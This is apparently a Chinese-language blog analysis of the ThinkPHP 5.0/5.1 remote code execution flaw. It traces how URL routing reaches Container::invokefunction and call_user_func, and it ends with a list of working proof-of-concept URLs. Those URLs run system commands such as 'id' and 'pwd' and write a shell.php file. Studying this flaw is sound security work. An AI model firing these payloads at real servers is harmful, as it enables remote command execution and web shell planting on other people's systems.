目录
TP5中的rce都是利用了input方法
如何利用此方法
如何引导到这来
POC:
TP5中的rce都是利用了input方法ThinkPHP 5.0-5.0.24
如何利用此方法通过URL路由分析,我们知道Thinkphp可由外界直接控制模块名、类名和其中的方法名以及参数/参数值,那么我们是不是可以将程序运行的方向引导至这里来。
如何引导到这来要调用类肯定需要先将类实例化,类的实例化首先需要获取到模块、类名,然后解析模块和类名去组成命名空间,再根据命名空间的特性去自动加载类,然后才会实例化类和调用类中的方法。
我们先对比之前正常的URL试着构建下POC。
http://127.0.0.1/tp5.1.22/public/index.php/index/test/hello/name/world
http://127.0.0.1/tp5.1.22/public/index.php/模块?/Container/invokefunction
我们可以找到入口调用了run()函数,跟进发现是App.php
在App.php
中,会根据请求的URL调用routeCheck
进行调度解析获得到$dispatch
,之后将进入exec($dispatch, $config)
根据$dispatch
类型的不同来进行处理。继续跟进routeCheck这个函数,同样在App.php里面
继续跟进path方法
这里面还有个pathinfo()函数,继续跟进
Config::get('var_pathinfo')
是配置文件中的设置的参数,默认值为s
,怎么找到这个变量?可以全局搜索一下,可以搜索到其中一个配置文件里面有
很明最后调用的call_user_func来达到任意代码执行的效果。这个函数非常危险,只要能控制$function和$args,就能造成代码执行漏洞。
在payload中,访问的url为
http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1
在pathinfo模式下,$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式,所以我们采用兼容模式。
所以应该是
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
另外由于App类继承于Container类,所以POC也可以写成:
http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
POC:
http://127.0.0.1/public/index.php?s=index/\think\Request/input&filter[]=system&data=pwd
http://127.0.0.1/public/index.php?s=index/\think\view\driver\Php/display&content=
http://127.0.0.1/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
http://127.0.0.1/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://127.0.0.1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id